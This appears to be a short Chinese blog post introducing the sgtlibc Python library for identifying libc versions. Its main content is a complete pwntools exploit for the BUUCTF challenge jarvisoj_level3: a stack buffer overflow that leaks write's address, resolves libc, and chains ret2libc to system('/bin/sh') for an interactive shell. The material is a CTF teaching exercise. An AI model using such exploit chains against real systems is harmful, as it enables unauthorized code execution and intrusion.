pip install sgtlibc
注意要用python3下载
初次尝试使用方法也是比较简单
用的例子是buuctf上的jarvisoj_level3
直接上exp
from pwn import *
import sgtlibc
context.log_level = 'debug'
p = process('./level3')
#p = remote('node4.buuoj.cn', '28229')
elf = ELF('./level3')
offset = 0x88 + 0x4
main = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload1 = offset * b'a' + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter('Input:n', payload1)
write = u32(p.recv(4))
print(hex(write))
s = sgtlibc.Searcher()
s.add_condition('write',write)
s.dump(db_index=0) # search libc , if returns multi-result ,default use index-0's result
system = s.get_address(sgtlibc.s_system)
binsh = s.get_address(sgtlibc.s_binsh)
payload2 = offset * b'a' + p32(system) + b'aaaa' +p32(binsh)
p.sendlineafter('Input:n', payload2)
p.interactive()
执行结果
项目地址
